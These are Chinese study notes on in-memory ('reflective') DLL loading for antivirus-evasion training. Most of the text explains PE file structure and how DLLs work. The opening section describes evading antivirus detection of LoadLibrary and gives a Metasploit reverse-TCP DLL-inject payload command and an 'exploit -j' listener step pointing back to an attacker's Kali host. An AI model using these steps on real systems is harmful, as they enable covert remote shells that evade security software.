内存加载dll

  1. 反射DLL
  2. 前言
  3. dll文件的定义
    1. PE文件的定义
    2. PE文件的组成 结构
    3. PE文件的应用与重要性

dumpbin程序可以导出在def文件中调用的函数

反射DLL

反射DLL就是内存加载DLL

先将DLL写入临时文件,然后导入。当程序终止时,临时文件将被删除

杀软会检测是否有加载loadlibrary接口,如果有的话,就会直接把你的程序杀掉

msfvenom生成dll文件,指向地址和端口就是kali本机,生成之后设置反弹shell的session模块。

set payload windows/patchupdllinject/reverse_tcp tcp://192.xxxxxx:10086

端口与你运行程序设置的端口一致

exploit -j

必须中断,程序才能运行下去

核心点已经用MemoryLoadLibrary函数将功能点都集成好了

https://payloads.online/archivers/2020-01-02/1/#%E7%94%9F%E6%88%90dll

前言

首先这次的训练难度对我来说确实很高,之前也没接触过免杀训练,所以我觉得我的视角和小白的视角是一模一样的。

首先我脑子里冒出来几个问题,什么是dll文件?于是我去学习了一下

dll文件的定义

在windows系统中,常常能看到这种dll文件,dll全称为Dynamic-Link Libraries,动态链接库

dll跟exe文件都是PE文件,问题又来了,什么是PE文件?

PE文件的定义

PE文件(Portable Executable File,可移植可执行文件)是Windows操作系统中常见的可执行文件格式。PE文件结构是Windows下所有可执行文件(如.exe和.dll文件)的基础格式,广泛用于运行程序或加载动态链接库。

PE文件的组成 结构

PE文件包含多种数据结构,这些结构定义了程序如何加载和执行。以下是PE文件的主要组成部分:

1、DOS头(MS-DOS Header)

在PE文件的开头,是一种向下兼容的部分,提供一个简单的DOS程序,通常显示“此程序无法在DOS模式下运行”的消息。

其中包含了e_lfanew指针,指向PE文件的真正起始位置。

2、PE头(PE Header)

包含了文件的基本信息,包括目标CPU架构、操作系统版本、入口点(Entry Point)等信息。

包含了FIle Header 和 Optional Header;

File Header:描述文件类型、机器架构、时间戳等

Optional Header:包含加载时所需的信息,如入口点地址、程序所需的内存空间大小等。

3、节表(Section Table)

描述了PE文件的各个“节”(Section)的信息。

每个节都是文件内容的一个逻辑部分,例如代码、数据、资源等。

常见的节有:

.text:包含可执行代码。

.data:存储程序的全局变量和已初始化的数据。

.rdata:包含只读数据,如字符串和导入表。

.rsrc:包含程序资源,如图标、对话框等。

4、节(Sections)

节是PE文件的实际数据部分,每个节对应一类数据或代码。

各节在内存中按其指定的属性进行加载。常见的有:

可执行节 .text

数据节 .data

资源节 .rsrc

5、导入表(Import Table)

描述程序需要调用的外部函数或库(如Windows API)的位置

Windows加载器会根据导入表的信息加载相应的DLL,并填充地址。

6、导出表(Export Table)

用于DLL文件,描述DLL文件向其他模块提供的函数和变量。

允许其他程序通过导出表访问DLL中的特定功能

7、重定位表(Relocation Table)

用于当加载地址发生变化时重新定位文件。若PE文件未能在默认地址加载,重定位表会确保代码在新的内存位置上正确运行。

PE文件的应用与重要性

PE文件结构非常适合动态加载和执行,是Windows系统在执行可执行文件时所依赖的格式。它不仅适用于.exe和.dll文件,还适用于驱动程序文件(如.sys)、动态库、控制台程序等。理解PE文件的结构在逆向工程、恶意软件分析以及内存分析等领域至关重要。

理解了什么是PE文件后,我们继续学习dll文件的概念

这种文件不能像exe等可执行文件一样直接运行,但是可以被exe,dll文件调用,实现资源,代码(主要是函数)的模块化,复用,动态加载等等。简单来说,可以把dll文件比作魔法书,exe文件比作魔法师,在施法过程中,如果哦需要用到exe没有记住的魔法时,这个exe就可以通过加载dll里面的魔法来施法,所以使用dll可以大幅减少程序文件的 体积以及代码和资源的重复,间接提高开发效率和节省硬盘空间,在多个运行中的程序共用一个dll文件时,只在内存中占用一个dll的空间,这样也节省了物理内存的空间,在进行程序升级迭代时,如果升级内容只涉及到dll文件,就可以只升级dll文件,即所谓的增量更新,可以提高开发效率,减少升级软件时的下载时间,流量,出现bug的概念,排查bug的时间等等。利用dll还可以很方便地做多国语言设计,把不同国家语言字符串和图片等放在不同的dll文件里面。通过替换dll文件或者加载相应的dll文件,就可以进行不同语言的切换。这就可以解释为什么汉化补丁常常是dll格式的。当然dll也是有缺点的,动态链接库需要额外加载,所以速度会慢一点点。另外,dll文件丢失或者版本不匹配时会引起报错。dll文件还可能被劫持,在加载dll文件时,系统会按照一定的顺序加载dll文件。如果在一些优先查询的位置中放置相同名称的带毒dll文件,系统就会优先加载这个带毒的dll文件。一些恶意的病毒软件还能通过dll注入技术,让正在运行的exe进程也加载带毒的dll文件。在这两种情况下,关掉病毒的程序已经没有意义了,病毒的dll已经被注入到很多进程里了,用重启大法可能可以减少感染的进程,但是无法避免二次感染。

大概了解完了什么是dll,再来具体学习这次免杀训练的内容,内存加载dll